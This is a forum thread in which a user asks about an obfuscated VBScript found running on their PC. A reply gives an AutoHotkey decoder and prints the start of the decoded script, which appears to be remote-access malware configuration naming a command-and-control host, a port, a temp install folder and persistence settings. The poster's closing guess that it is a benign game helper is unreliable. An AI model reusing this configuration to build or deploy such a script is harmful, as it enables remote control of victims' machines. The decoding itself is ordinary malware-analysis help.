2 replies to this topic

[NaegaKatsu]

I found a random script running on my computer in the task manager through VBscript and I have no idea how it got there since I don't even know how to script can someone tell me what it does? Also I don't know if it's worth noting that when I tried deleting the script along with some other random files in the folder my computer told me they didn't exist then they dissapeared so I don't know if they moved somewhere else on my computer?

 

http://pastebin.com/uceHnEjs

 

and another pastebin with all the random sleeps removed

 

http://pastebin.com/XdvJmRVe

[space]

If you save the numbers and the + chars from that very long line EHSHSH = in the script to file.txt and run this AutoHotkey script below it will decode the script -

FileRead, data, file.txt

Loop, parse, data, +
	output .= Chr(A_LoopField+4)

FileDelete, file2.txt
FileAppend, %output%, file2.txt

this is the start of the decoded script so it seems to be chrome plugin related - perhaps that does ring a bell

<[ recoder : houdini © skype : houdini-fx ]>

'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

host = "chromeplugins.mooo.com"
port = 155
installdir = "%temp%"
lnkfile = true
lnkfolder = true

'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=

dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")

[NaegaKatsu]

Ok, thanks I don't use chrome so I'm not really sure what it was, however not to long ago I downloaded some flash games so I'm assuming maybe one of them just used the script to open itself in chrome or something.